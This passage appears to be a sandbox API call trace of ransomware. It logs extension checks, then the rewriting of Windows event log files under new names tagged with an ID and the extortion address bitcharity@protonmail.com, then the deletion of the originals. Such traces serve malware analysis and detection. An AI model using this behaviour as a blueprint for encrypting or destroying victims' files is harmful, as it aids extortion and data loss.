(lpString=".doc") returned 4 [0147.595] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0147.595] lstrlenW (lpString=".docx") returned 5 [0147.595] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0147.595] lstrlenW (lpString=".pdf") returned 4 [0147.595] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0147.595] lstrlenW (lpString=".xls") returned 4 [0147.595] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0147.595] lstrlenW (lpString=".xlsx") returned 5 [0147.595] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0147.595] lstrlenW (lpString=".ppt") returned 4 [0147.595] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0147.595] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0147.595] lstrlenW (lpString=".zip") returned 4 [0147.595] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0147.595] lstrlenW (lpString=".rar") returned 4 [0147.595] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0147.595] lstrlenW (lpString=".bz2") returned 4 [0147.595] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0147.595] lstrlenW (lpString=".7z") returned 3 [0147.595] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0147.595] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0147.595] lstrlenW (lpString=".dbf") returned 4 [0147.596] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0147.596] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0147.596] lstrlenW (lpString=".1cd") returned 4 [0147.596] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0147.596] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0147.596] lstrlenW (lpString=".jpg") returned 4 [0147.596] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0147.596] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0147.596] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0147.596] lstrlenW (lpString=".doc") returned 4 [0147.596] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0147.596] lstrlenW (lpString=".docx") returned 5 [0147.596] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0147.596] lstrlenW (lpString=".pdf") returned 4 [0147.596] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0147.596] lstrlenW (lpString=".xls") returned 4 [0147.596] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0147.596] lstrlenW (lpString=".xlsx") returned 5 [0147.596] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0147.596] lstrlenW (lpString=".ppt") returned 4 [0147.596] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0147.596] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0147.596] lstrlenW (lpString=".zip") returned 4 [0147.596] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0147.596] lstrlenW (lpString=".rar") returned 4 [0147.596] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0147.596] lstrlenW (lpString=".bz2") returned 4 [0147.596] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0147.596] lstrlenW (lpString=".7z") returned 3 [0147.596] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0147.597] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0147.597] lstrlenW (lpString=".dbf") returned 4 [0147.597] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0147.597] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0147.597] lstrlenW (lpString=".1cd") returned 4 [0147.597] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0147.597] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0147.597] lstrlenW (lpString=".jpg") returned 4 [0147.597] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0147.597] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0147.597] lstrlenW (lpString="Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 42 [0147.597] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0147.710] GetFileSizeEx (in: hFile=0x10d8, lpFileSize=0x2a0ff14 | out: lpFileSize=0x2a0ff14*=69632) returned 1 [0147.710] CloseHandle (hObject=0x10d8) returned 1 [0147.710] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx")) returned 0x20 [0147.710] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0147.710] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0147.710] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.710] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.710] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0147.711] GetLastError () returned 0x0 [0147.711] ReadFile (in: hFile=0x10d8, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0147.785] WriteFile (in: hFile=0x1098, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0147.787] ReadFile (in: hFile=0x10d8, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x0, lpOverlapped=0x0) returned 1 [0147.787] WriteFile (in: hFile=0x1098, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0x128, lpOverlapped=0x0) returned 1 [0147.787] SetEndOfFile (hFile=0x1098) returned 1 [0147.787] CloseHandle (hObject=0x1098) returned 1 [0147.790] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.790] SetEndOfFile (hFile=0x10d8) returned 1 [0147.791] CloseHandle (hObject=0x10d8) returned 1 [0147.791] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0147.792] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx")) returned 1 [0147.792] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0147.792] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0147.792] lstrlenW (lpString=".doc") returned 4 [0147.792] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0147.792] lstrlenW (lpString=".docx") returned 5 [0147.792] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0147.792] lstrlenW (lpString=".pdf") returned 4 [0147.792] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0147.792] lstrlenW (lpString=".xls") returned 4 [0147.792] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0147.792] lstrlenW (lpString=".xlsx") returned 5 [0147.792] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0147.792] lstrlenW (lpString=".ppt") returned 4 [0147.792] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0147.793] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0147.793] lstrlenW (lpString=".zip") returned 4 [0147.793] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0147.793] lstrlenW (lpString=".rar") returned 4 [0147.793] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0147.793] lstrlenW (lpString=".bz2") returned 4 [0147.793] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0147.793] lstrlenW (lpString=".7z") returned 3 [0147.793] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0147.793] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0147.793] lstrlenW (lpString=".dbf") returned 4 [0147.793] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0147.793] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0147.793] lstrlenW (lpString=".1cd") returned 4 [0147.793] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0147.793] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0147.793] lstrlenW (lpString=".jpg") returned 4 [0147.793] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0147.793] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0147.793] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0147.793] lstrlenW (lpString=".doc") returned 4 [0147.793] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0147.793] lstrlenW (lpString=".docx") returned 5 [0147.793] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0147.793] lstrlenW (lpString=".pdf") returned 4 [0147.793] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0147.793] lstrlenW (lpString=".xls") returned 4 [0147.793] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0147.793] lstrlenW (lpString=".xlsx") returned 5 [0147.794] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0147.794] lstrlenW (lpString=".ppt") returned 4 [0147.794] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0147.794] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0147.794] lstrlenW (lpString=".zip") returned 4 [0147.794] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0147.794] lstrlenW (lpString=".rar") returned 4 [0147.794] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0147.794] lstrlenW (lpString=".bz2") returned 4 [0147.794] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0147.794] lstrlenW (lpString=".7z") returned 3 [0147.794] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0147.794] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0147.794] lstrlenW (lpString=".dbf") returned 4 [0147.794] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0147.794] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0147.794] lstrlenW (lpString=".1cd") returned 4 [0147.794] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0147.794] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0147.794] lstrlenW (lpString=".jpg") returned 4 [0147.794] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0147.794] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0147.794] lstrlenW (lpString="Microsoft-Windows-Known Folders API Service.evtx") returned 48 [0147.794] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0147.795] GetFileSizeEx (in: hFile=0x10d8, lpFileSize=0x2a0ff14 | out: lpFileSize=0x2a0ff14*=69632) returned 1 [0147.795] CloseHandle (hObject=0x10d8) returned 1 [0147.795] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx")) returned 0x20 [0147.795] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0147.795] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0147.795] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.795] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.795] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0147.828] GetLastError () returned 0x0 [0147.828] ReadFile (in: hFile=0x10d8, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0147.896] WriteFile (in: hFile=0x1098, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0147.898] ReadFile (in: hFile=0x10d8, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x0, lpOverlapped=0x0) returned 1 [0147.898] WriteFile (in: hFile=0x1098, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0x134, lpOverlapped=0x0) returned 1 [0147.898] SetEndOfFile (hFile=0x1098) returned 1 [0147.898] CloseHandle (hObject=0x1098) returned 1 [0147.901] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.901] SetEndOfFile (hFile=0x10d8) returned 1 [0147.902] CloseHandle (hObject=0x10d8) returned 1 [0147.902] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0147.903] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx")) returned 1 [0147.903] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0147.903] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0147.903] lstrlenW (lpString=".doc") returned 4 [0147.903] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0147.903] lstrlenW (lpString=".docx") returned 5 [0147.903] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0147.903] lstrlenW (lpString=".pdf") returned 4 [0147.903] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0147.903] lstrlenW (lpString=".xls") returned 4 [0147.903] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0147.903] lstrlenW (lpString=".xlsx") returned 5 [0147.903] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0147.903] lstrlenW (lpString=".ppt") returned 4 [0147.903] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0147.903] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0147.903] lstrlenW (lpString=".zip") returned 4 [0147.903] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0147.903] lstrlenW (lpString=".rar") returned 4 [0147.903] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0147.903] lstrlenW (lpString=".bz2") returned 4 [0147.903] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0147.904] lstrlenW (lpString=".7z") returned 3 [0147.904] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0147.904] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0147.904] lstrlenW (lpString=".dbf") returned 4 [0147.904] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0147.904] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0147.904] lstrlenW (lpString=".1cd") returned 4 [0147.904] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0147.904] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0147.904] lstrlenW (lpString=".jpg") returned 4 [0147.904] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0147.904] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0147.904] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0147.904] lstrlenW (lpString=".doc") returned 4 [0147.904] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0147.904] lstrlenW (lpString=".docx") returned 5 [0147.904] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0147.904] lstrlenW (lpString=".pdf") returned 4 [0147.904] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0147.904] lstrlenW (lpString=".xls") returned 4 [0147.904] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0147.904] lstrlenW (lpString=".xlsx") returned 5 [0147.904] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0147.904] lstrlenW (lpString=".ppt") returned 4 [0147.904] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0147.904] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0147.904] lstrlenW (lpString=".zip") returned 4 [0147.904] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0147.904] lstrlenW (lpString=".rar") returned 4 [0147.904] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0147.905] lstrlenW (lpString=".bz2") returned 4 [0147.905] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0147.905] lstrlenW (lpString=".7z") returned 3 [0147.905] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0147.905] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0147.905] lstrlenW (lpString=".dbf") returned 4 [0147.905] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0147.905] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0147.905] lstrlenW (lpString=".1cd") returned 4 [0147.905] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0147.905] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56 [0147.905] lstrlenW (lpString=".jpg") returned 4 [0147.905] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0147.905] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0147.905] lstrlenW (lpString="Microsoft-Windows-MUI%4Admin.evtx") returned 33 [0147.905] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0147.905] GetFileSizeEx (in: hFile=0x10d8, lpFileSize=0x2a0ff14 | out: lpFileSize=0x2a0ff14*=69632) returned 1 [0147.905] CloseHandle (hObject=0x10d8) returned 1 [0147.906] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx")) returned 0x20 [0147.906] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0147.906] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0147.906] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.906] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.906] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0147.906] GetLastError () returned 0x0 [0147.906] ReadFile (in: hFile=0x10d8, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0147.982] WriteFile (in: hFile=0x1098, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0147.983] ReadFile (in: hFile=0x10d8, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x0, lpOverlapped=0x0) returned 1 [0147.983] WriteFile (in: hFile=0x1098, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0x116, lpOverlapped=0x0) returned 1 [0147.983] SetEndOfFile (hFile=0x1098) returned 1 [0147.983] CloseHandle (hObject=0x1098) returned 1 [0147.985] SetFilePointerEx (in: hFile=0x10d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.985] SetEndOfFile (hFile=0x10d8) returned 1 [0147.986] CloseHandle (hObject=0x10d8) returned 1 [0147.986] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0147.987] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx")) returned 1 [0147.987] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0147.987] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0147.987] lstrlenW (lpString=".doc") returned 4 [0147.987] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0147.987] lstrlenW (lpString=".docx") returned 5 [0147.987] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0147.987] lstrlenW (lpString=".pdf") returned 4 [0147.987] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0147.987] lstrlenW (lpString=".xls") returned 4 [0147.987] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0147.987] lstrlenW (lpString=".xlsx") returned 5 [0147.987] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0147.987] lstrlenW (lpString=".ppt") returned 4 [0147.987] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0147.987] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0147.987] lstrlenW (lpString=".zip") returned 4 [0147.987] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0147.987] lstrlenW (lpString=".rar") returned 4 [0147.987] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0147.987] lstrlenW (lpString=".bz2") returned 4 [0147.987] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0147.988] lstrlenW (lpString=".7z") returned 3 [0147.988] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0147.988] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0147.988] lstrlenW (lpString=".dbf") returned 4 [0147.988] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0147.988] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0147.988] lstrlenW (lpString=".1cd") returned 4 [0147.988] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0147.988] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41 [0147.988] lstrlenW (lpString=".jpg") returned 4 [0147.988] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0147.988] lstrlenW 